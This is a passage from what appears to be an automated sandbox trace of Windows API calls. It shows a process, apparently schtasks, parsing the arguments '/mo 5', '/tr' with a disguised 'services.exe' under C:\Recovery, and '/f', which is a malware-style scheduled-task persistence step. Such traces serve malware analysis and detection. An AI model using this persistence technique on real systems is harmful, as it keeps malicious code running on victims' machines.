(dwErrCode=0x490) [0148.343] lstrlenW (lpString="end") returned 3 [0148.343] lstrlenW (lpString="end") returned 3 [0148.343] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.343] lstrlenW (lpString="mo") returned 2 [0148.344] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.344] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|end|") returned 5 [0148.344] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.344] lstrlenW (lpString="|end|") returned 5 [0148.344] lstrlenW (lpString="|mo|") returned 4 [0148.344] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0148.344] SetLastError (dwErrCode=0x490) [0148.344] lstrlenW (lpString="showsid") returned 7 [0148.344] lstrlenW (lpString="showsid") returned 7 [0148.344] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.344] lstrlenW (lpString="mo") returned 2 [0148.344] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.344] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|showsid|") returned 9 [0148.344] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.344] lstrlenW (lpString="|showsid|") returned 9 [0148.344] lstrlenW (lpString="|mo|") returned 4 [0148.344] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0148.344] SetLastError (dwErrCode=0x490) [0148.344] SetLastError (dwErrCode=0x490) [0148.344] SetLastError (dwErrCode=0x0) [0148.344] lstrlenW (lpString="/mo") returned 3 [0148.344] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0148.344] SetLastError (dwErrCode=0x490) [0148.344] SetLastError (dwErrCode=0x0) [0148.344] lstrlenW (lpString="/mo") returned 3 [0148.344] GetProcessHeap () returned 0x370000 [0148.344] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c2f0 [0148.344] GetProcessHeap () returned 0x370000 [0148.344] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ccd0 [0148.344] SetLastError (dwErrCode=0x0) [0148.344] SetLastError (dwErrCode=0x0) [0148.344] lstrlenW (lpString="5") returned 1 [0148.344] SetLastError (dwErrCode=0x490) [0148.345] SetLastError (dwErrCode=0x0) [0148.345] lstrlenW (lpString="5") returned 1 [0148.345] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0148.345] SetLastError (dwErrCode=0x490) [0148.345] SetLastError (dwErrCode=0x0) [0148.345] lstrlenW (lpString="5") returned 1 [0148.345] GetProcessHeap () returned 0x370000 [0148.345] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x4) returned 0x38c310 [0148.345] GetProcessHeap () returned 0x370000 [0148.345] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd00 [0148.345] SetLastError (dwErrCode=0x0) [0148.345] SetLastError (dwErrCode=0x0) [0148.345] lstrlenW (lpString="/tr") returned 3 [0148.345] lstrlenW (lpString="-/") returned 2 [0148.345] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.345] lstrlenW (lpString="?") returned 1 [0148.345] lstrlenW (lpString="?") returned 1 [0148.345] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.345] lstrlenW (lpString="tr") returned 2 [0148.345] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.345] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|?|") returned 3 [0148.345] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.345] lstrlenW (lpString="|?|") returned 3 [0148.345] lstrlenW (lpString="|tr|") returned 4 [0148.345] SetLastError (dwErrCode=0x490) [0148.345] lstrlenW (lpString="create") returned 6 [0148.345] lstrlenW (lpString="create") returned 6 [0148.345] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.345] lstrlenW (lpString="tr") returned 2 [0148.345] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.345] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.345] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.345] lstrlenW (lpString="|create|") returned 8 [0148.345] lstrlenW (lpString="|tr|") returned 4 [0148.346] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0148.346] SetLastError (dwErrCode=0x490) [0148.346] lstrlenW (lpString="delete") returned 6 [0148.346] lstrlenW (lpString="delete") returned 6 [0148.346] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.346] lstrlenW (lpString="tr") returned 2 [0148.346] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.346] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|delete|") returned 8 [0148.346] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.346] lstrlenW (lpString="|delete|") returned 8 [0148.346] lstrlenW (lpString="|tr|") returned 4 [0148.346] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0148.346] SetLastError (dwErrCode=0x490) [0148.346] lstrlenW (lpString="query") returned 5 [0148.346] lstrlenW (lpString="query") returned 5 [0148.346] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.346] lstrlenW (lpString="tr") returned 2 [0148.346] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.346] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|query|") returned 7 [0148.346] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.346] lstrlenW (lpString="|query|") returned 7 [0148.346] lstrlenW (lpString="|tr|") returned 4 [0148.346] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0148.346] SetLastError (dwErrCode=0x490) [0148.346] lstrlenW (lpString="change") returned 6 [0148.346] lstrlenW (lpString="change") returned 6 [0148.346] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.346] lstrlenW (lpString="tr") returned 2 [0148.346] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.346] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|change|") returned 8 [0148.346] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.346] lstrlenW (lpString="|change|") returned 8 [0148.347] lstrlenW (lpString="|tr|") returned 4 [0148.347] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0148.347] SetLastError (dwErrCode=0x490) [0148.347] lstrlenW (lpString="run") returned 3 [0148.347] lstrlenW (lpString="run") returned 3 [0148.347] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.347] lstrlenW (lpString="tr") returned 2 [0148.347] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.347] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|run|") returned 5 [0148.347] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.347] lstrlenW (lpString="|run|") returned 5 [0148.347] lstrlenW (lpString="|tr|") returned 4 [0148.347] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0148.347] SetLastError (dwErrCode=0x490) [0148.347] lstrlenW (lpString="end") returned 3 [0148.347] lstrlenW (lpString="end") returned 3 [0148.347] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.347] lstrlenW (lpString="tr") returned 2 [0148.347] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.347] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|end|") returned 5 [0148.347] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.347] lstrlenW (lpString="|end|") returned 5 [0148.347] lstrlenW (lpString="|tr|") returned 4 [0148.347] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0148.347] SetLastError (dwErrCode=0x490) [0148.347] lstrlenW (lpString="showsid") returned 7 [0148.347] lstrlenW (lpString="showsid") returned 7 [0148.347] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.347] lstrlenW (lpString="tr") returned 2 [0148.347] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.347] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|showsid|") returned 9 [0148.347] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tr|") returned 4 [0148.348] lstrlenW (lpString="|showsid|") returned 9 [0148.348] lstrlenW (lpString="|tr|") returned 4 [0148.348] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0148.348] SetLastError (dwErrCode=0x490) [0148.348] SetLastError (dwErrCode=0x490) [0148.348] SetLastError (dwErrCode=0x0) [0148.348] lstrlenW (lpString="/tr") returned 3 [0148.348] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0148.348] SetLastError (dwErrCode=0x490) [0148.348] SetLastError (dwErrCode=0x0) [0148.348] lstrlenW (lpString="/tr") returned 3 [0148.348] GetProcessHeap () returned 0x370000 [0148.348] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c330 [0148.348] GetProcessHeap () returned 0x370000 [0148.348] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd30 [0148.348] SetLastError (dwErrCode=0x0) [0148.348] SetLastError (dwErrCode=0x0) [0148.348] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.348] lstrlenW (lpString="-/") returned 2 [0148.348] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0148.371] SetLastError (dwErrCode=0x490) [0148.371] SetLastError (dwErrCode=0x490) [0148.371] SetLastError (dwErrCode=0x0) [0148.371] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.371] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0148.371] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.371] GetProcessHeap () returned 0x370000 [0148.371] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38c350 [0148.371] _memicmp (_Buf1=0x38c350, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.371] GetProcessHeap () returned 0x370000 [0148.371] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38c370 [0148.371] GetProcessHeap () returned 0x370000 [0148.371] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38d500 [0148.371] _memicmp (_Buf1=0x38d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.371] GetProcessHeap () returned 0x370000 [0148.371] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x82) returned 0x38dcd0 [0148.371] SetLastError (dwErrCode=0x7a) [0148.371] SetLastError (dwErrCode=0x0) [0148.371] SetLastError (dwErrCode=0x0) [0148.371] lstrlenW (lpString="'C") returned 2 [0148.371] lstrlenW (lpString="-/") returned 2 [0148.372] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0148.372] SetLastError (dwErrCode=0x490) [0148.372] SetLastError (dwErrCode=0x490) [0148.372] SetLastError (dwErrCode=0x0) [0148.372] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.372] GetProcessHeap () returned 0x370000 [0148.372] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x80) returned 0x38dd60 [0148.372] GetProcessHeap () returned 0x370000 [0148.372] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd60 [0148.372] SetLastError (dwErrCode=0x0) [0148.372] SetLastError (dwErrCode=0x0) [0148.372] lstrlenW (lpString="/f") returned 2 [0148.372] lstrlenW (lpString="-/") returned 2 [0148.372] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.372] lstrlenW (lpString="?") returned 1 [0148.372] lstrlenW (lpString="?") returned 1 [0148.372] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.372] lstrlenW (lpString="f") returned 1 [0148.372] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.372] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|?|") returned 3 [0148.372] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.372] lstrlenW (lpString="|?|") returned 3 [0148.372] lstrlenW (lpString="|f|") returned 3 [0148.372] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0148.372] SetLastError (dwErrCode=0x490) [0148.372] lstrlenW (lpString="create") returned 6 [0148.372] lstrlenW (lpString="create") returned 6 [0148.372] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.372] lstrlenW (lpString="f") returned 1 [0148.372] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.372] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.372] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.373] lstrlenW (lpString="|create|") returned 8 [0148.373] lstrlenW (lpString="|f|") returned 3 [0148.373] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0148.373] SetLastError (dwErrCode=0x490) [0148.373] lstrlenW (lpString="delete") returned 6 [0148.373] lstrlenW (lpString="delete") returned 6 [0148.373] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.373] lstrlenW (lpString="f") returned 1 [0148.373] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.373] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|delete|") returned 8 [0148.373] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.373] lstrlenW (lpString="|delete|") returned 8 [0148.373] lstrlenW (lpString="|f|") returned 3 [0148.373] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0148.373] SetLastError (dwErrCode=0x490) [0148.373] lstrlenW (lpString="query") returned 5 [0148.373] lstrlenW (lpString="query") returned 5 [0148.373] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.373] lstrlenW (lpString="f") returned 1 [0148.373] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.373] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|query|") returned 7 [0148.373] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.373] lstrlenW (lpString="|query|") returned 7 [0148.373] lstrlenW (lpString="|f|") returned 3 [0148.373] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0148.373] SetLastError (dwErrCode=0x490) [0148.373] lstrlenW (lpString="change") returned 6 [0148.373] lstrlenW (lpString="change") returned 6 [0148.373] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.373] lstrlenW (lpString="f") returned 1 [0148.373] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.373] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|change|") returned 8 [0148.374] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.374] lstrlenW (lpString="|change|") returned 8 [0148.374] lstrlenW (lpString="|f|") returned 3 [0148.374] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0148.374] SetLastError (dwErrCode=0x490) [0148.374] lstrlenW (lpString="run") returned 3 [0148.374] lstrlenW (lpString="run") returned 3 [0148.374] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.374] lstrlenW (lpString="f") returned 1 [0148.374] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.374] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|run|") returned 5 [0148.374] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.374] lstrlenW (lpString="|run|") returned 5 [0148.374] lstrlenW (lpString="|f|") returned 3 [0148.374] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0148.374] SetLastError (dwErrCode=0x490) [0148.374] lstrlenW (lpString="end") returned 3 [0148.374] lstrlenW (lpString="end") returned 3 [0148.374] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.374] lstrlenW (lpString="f") returned 1 [0148.374] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.374] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|end|") returned 5 [0148.374] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.374] lstrlenW (lpString="|end|") returned 5 [0148.374] lstrlenW (lpString="|f|") returned 3 [0148.374] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0148.374] SetLastError (dwErrCode=0x490) [0148.374] lstrlenW (lpString="showsid") returned 7 [0148.374] lstrlenW (lpString="showsid") returned 7 [0148.374] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.374] lstrlenW (lpString="f") returned 1 [0148.374] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.375] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|showsid|") returned 9 [0148.375] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|f|") returned 3 [0148.375] lstrlenW (lpString="|showsid|") returned 9 [0148.375] lstrlenW (lpString="|f|") returned 3 [0148.375] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0148.375] SetLastError (dwErrCode=0x490) [0148.375] SetLastError (dwErrCode=0x490) [0148.375] SetLastError (dwErrCode=0x0) [0148.375] lstrlenW (lpString="/f") returned 2 [0148.375] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0148.375] SetLastError (dwErrCode=0x490) [0148.375] SetLastError (dwErrCode=0x0) [0148.375] lstrlenW (lpString="/f") returned 2 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x6) returned 0x38ddf0 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd90 [0148.375] SetLastError (dwErrCode=0x0) [0148.375] GetProcessHeap () returned 0x370000 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c200) returned 1 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c200) returned 0x8 [0148.375] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c200 | out: hHeap=0x370000) returned 1 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc10) returned 1 [0148.375] GetProcessHeap () returned 0x370000 [0148.375] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc10) returned 0x20 [0148.376] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc10 | out: hHeap=0x370000) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c290) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c290) returned 0x14 [0148.376] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c290 | out: hHeap=0x370000) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc40) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc40) returned 0x20 [0148.376] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc40 | out: hHeap=0x370000) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2b0) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c2b0) returned 0x8 [0148.376] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2b0 | out: hHeap=0x370000) returned 1 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] GetProcessHeap () returned 0x370000 [0148.376] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc70) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc70) returned 0x20 [0148.377] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc70 | out: hHeap=0x370000) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2d0) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c2d0) returned 0xe [0148.377] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2d0 | out: hHeap=0x370000) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cca0) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cca0) returned 0x20 [0148.377] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cca0 | out: hHeap=0x370000) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2f0) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c2f0) returned 0x8 [0148.377] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2f0 | out: hHeap=0x370000) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] GetProcessHeap () returned 0x370000 [0148.377] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccd0) returned 1 [0148.377] GetProcessHeap () returned 0x370000 [0148.378] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ccd0) returned 0x20 [0148.378] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccd0 | out: hHeap=0x370000) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c310) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c310) returned 0x4 [0148.378] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c310 | out: hHeap=0x370000) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd00) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd00) returned 0x20 [0148.378] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd00 | out: hHeap=0x370000) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c330) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c330) returned 0x8 [0148.378] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c330 | out: hHeap=0x370000) returned 1 [0148.378] GetProcessHeap () returned 0x370000 [0148.378] GetProcessHeap () returned 0x370000 [0148.379] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd30) returned 1 [0148.379] GetProcessHeap () returned 0x370000 [0148.379] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd30) returned 0x20 [0148.379] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd30 | out: hHeap=0x370000) returned 1 [0148.379] GetProcessHeap () returned 0x370000 [0148.379] GetProcessHeap () returned 0x370000 [0148.379] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38dd60) returned 1 [0148.379] GetProcessHeap () returned 0x370000 [0148.379] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38dd60) returned 0x80 [0148.379] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38dd60 | out: hHeap=0x370000) returned 1 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd60) returned 1 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd60) returned 0x20 [0148.380] HeapFree (in: 